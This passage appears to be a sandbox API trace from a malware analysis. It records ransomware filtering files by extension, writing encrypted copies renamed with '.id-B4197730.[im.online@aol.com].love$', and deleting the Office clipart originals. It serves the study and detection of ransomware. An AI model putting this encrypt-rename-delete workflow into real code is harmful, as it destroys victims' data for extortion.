Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.464] lstrlenW (lpString=".zip") returned 4 [0122.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.464] lstrlenW (lpString=".rar") returned 4 [0122.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.464] lstrlenW (lpString=".bz2") returned 4 [0122.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.464] lstrlenW (lpString=".7z") returned 3 [0122.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.464] lstrlenW (lpString=".dbf") returned 4 [0122.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.464] lstrlenW (lpString=".1cd") returned 4 [0122.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.464] lstrlenW (lpString=".jpg") returned 4 [0122.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.465] lstrlenW (lpString=".doc") returned 4 [0122.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.465] lstrlenW (lpString=".docx") returned 5 [0122.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.465] lstrlenW (lpString=".pdf") returned 4 [0122.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.465] lstrlenW (lpString=".xls") returned 4 [0122.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.465] lstrlenW (lpString=".xlsx") returned 5 [0122.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.465] lstrlenW (lpString=".ppt") returned 4 [0122.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.465] lstrlenW (lpString=".zip") returned 4 [0122.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.465] lstrlenW (lpString=".rar") returned 4 [0122.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.465] lstrlenW (lpString=".bz2") returned 4 [0122.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.465] lstrlenW (lpString=".7z") returned 3 [0122.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.465] lstrlenW (lpString=".dbf") returned 4 [0122.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.466] lstrlenW (lpString=".1cd") returned 4 [0122.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.466] lstrlenW (lpString=".jpg") returned 4 [0122.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.466] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.466] lstrlenW (lpString="BD09194_.WMF") returned 12 [0122.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.504] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=14540) returned 1 [0122.504] CloseHandle (hObject=0x340) returned 1 [0122.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0122.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.504] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.504] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0122.505] GetLastError () returned 0x0 [0122.505] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0122.556] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0122.557] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.557] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.557] SetEndOfFile (hFile=0x3a0) returned 1 [0122.558] CloseHandle (hObject=0x3a0) returned 1 [0122.565] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.565] SetEndOfFile (hFile=0x340) returned 1 [0122.566] CloseHandle (hObject=0x340) returned 1 [0122.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0122.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.567] lstrlenW (lpString=".doc") returned 4 [0122.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.567] lstrlenW (lpString=".docx") returned 5 [0122.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.567] lstrlenW (lpString=".pdf") returned 4 [0122.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.567] lstrlenW (lpString=".xls") returned 4 [0122.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.567] lstrlenW (lpString=".xlsx") returned 5 [0122.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.567] lstrlenW (lpString=".ppt") returned 4 [0122.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.568] lstrlenW (lpString=".zip") returned 4 [0122.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.568] lstrlenW (lpString=".rar") returned 4 [0122.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString=".bz2") returned 4 [0122.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString=".7z") returned 3 [0122.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.568] lstrlenW (lpString=".dbf") returned 4 [0122.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.568] lstrlenW (lpString=".1cd") returned 4 [0122.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.568] lstrlenW (lpString=".jpg") returned 4 [0122.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.568] lstrlenW (lpString=".doc") returned 4 [0122.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString=".docx") returned 5 [0122.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.568] lstrlenW (lpString=".pdf") returned 4 [0122.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString=".xls") returned 4 [0122.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.568] lstrlenW (lpString=".xlsx") returned 5 [0122.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.568] lstrlenW (lpString=".ppt") returned 4 [0122.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.568] lstrlenW (lpString=".zip") returned 4 [0122.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.569] lstrlenW (lpString=".rar") returned 4 [0122.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.569] lstrlenW (lpString=".bz2") returned 4 [0122.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.569] lstrlenW (lpString=".7z") returned 3 [0122.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.569] lstrlenW (lpString=".dbf") returned 4 [0122.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.569] lstrlenW (lpString=".1cd") returned 4 [0122.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0122.569] lstrlenW (lpString=".jpg") returned 4 [0122.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.569] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.569] lstrlenW (lpString="BD09662_.WMF") returned 12 [0122.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.569] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=20554) returned 1 [0122.570] CloseHandle (hObject=0x340) returned 1 [0122.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0122.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.570] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.570] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0122.570] GetLastError () returned 0x0 [0122.570] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x504a, lpOverlapped=0x0) returned 1 [0122.656] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x5050, lpOverlapped=0x0) returned 1 [0122.657] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.657] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.657] SetEndOfFile (hFile=0x3a0) returned 1 [0122.657] CloseHandle (hObject=0x3a0) returned 1 [0122.661] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.661] SetEndOfFile (hFile=0x340) returned 1 [0122.662] CloseHandle (hObject=0x340) returned 1 [0122.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0122.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.662] lstrlenW (lpString=".doc") returned 4 [0122.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.663] lstrlenW (lpString=".docx") returned 5 [0122.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.663] lstrlenW (lpString=".pdf") returned 4 [0122.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.663] lstrlenW (lpString=".xls") returned 4 [0122.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.663] lstrlenW (lpString=".xlsx") returned 5 [0122.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.663] lstrlenW (lpString=".ppt") returned 4 [0122.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.663] lstrlenW (lpString=".zip") returned 4 [0122.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.663] lstrlenW (lpString=".rar") returned 4 [0122.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.663] lstrlenW (lpString=".bz2") returned 4 [0122.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.663] lstrlenW (lpString=".7z") returned 3 [0122.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.663] lstrlenW (lpString=".dbf") returned 4 [0122.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.663] lstrlenW (lpString=".1cd") returned 4 [0122.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.663] lstrlenW (lpString=".jpg") returned 4 [0122.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.663] lstrlenW (lpString=".doc") returned 4 [0122.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.664] lstrlenW (lpString=".docx") returned 5 [0122.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.664] lstrlenW (lpString=".pdf") returned 4 [0122.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.664] lstrlenW (lpString=".xls") returned 4 [0122.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.664] lstrlenW (lpString=".xlsx") returned 5 [0122.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.664] lstrlenW (lpString=".ppt") returned 4 [0122.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.664] lstrlenW (lpString=".zip") returned 4 [0122.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.664] lstrlenW (lpString=".rar") returned 4 [0122.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.664] lstrlenW (lpString=".bz2") returned 4 [0122.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.664] lstrlenW (lpString=".7z") returned 3 [0122.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.664] lstrlenW (lpString=".dbf") returned 4 [0122.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.664] lstrlenW (lpString=".1cd") returned 4 [0122.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0122.664] lstrlenW (lpString=".jpg") returned 4 [0122.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.664] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.665] lstrlenW (lpString="BD09664_.WMF") returned 12 [0122.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.665] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=7966) returned 1 [0122.665] CloseHandle (hObject=0x340) returned 1 [0122.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0122.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.666] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.666] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0122.666] GetLastError () returned 0x0 [0122.666] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0122.729] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0122.731] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.732] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.732] SetEndOfFile (hFile=0x3a0) returned 1 [0122.733] CloseHandle (hObject=0x3a0) returned 1 [0122.736] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.736] SetEndOfFile (hFile=0x340) returned 1 [0123.075] CloseHandle (hObject=0x340) returned 1 [0123.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0123.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.217] lstrlenW (lpString=".doc") returned 4 [0123.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.233] lstrlenW (lpString=".docx") returned 5 [0123.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.233] lstrlenW (lpString=".pdf") returned 4 [0123.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.233] lstrlenW (lpString=".xls") returned 4 [0123.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.233] lstrlenW (lpString=".xlsx") returned 5 [0123.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.233] lstrlenW (lpString=".ppt") returned 4 [0123.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.249] lstrlenW (lpString=".zip") returned 4 [0123.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.249] lstrlenW (lpString=".rar") returned 4 [0123.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.249] lstrlenW (lpString=".bz2") returned 4 [0123.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.249] lstrlenW (lpString=".7z") returned 3 [0123.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.249] lstrlenW (lpString="C:\\Program 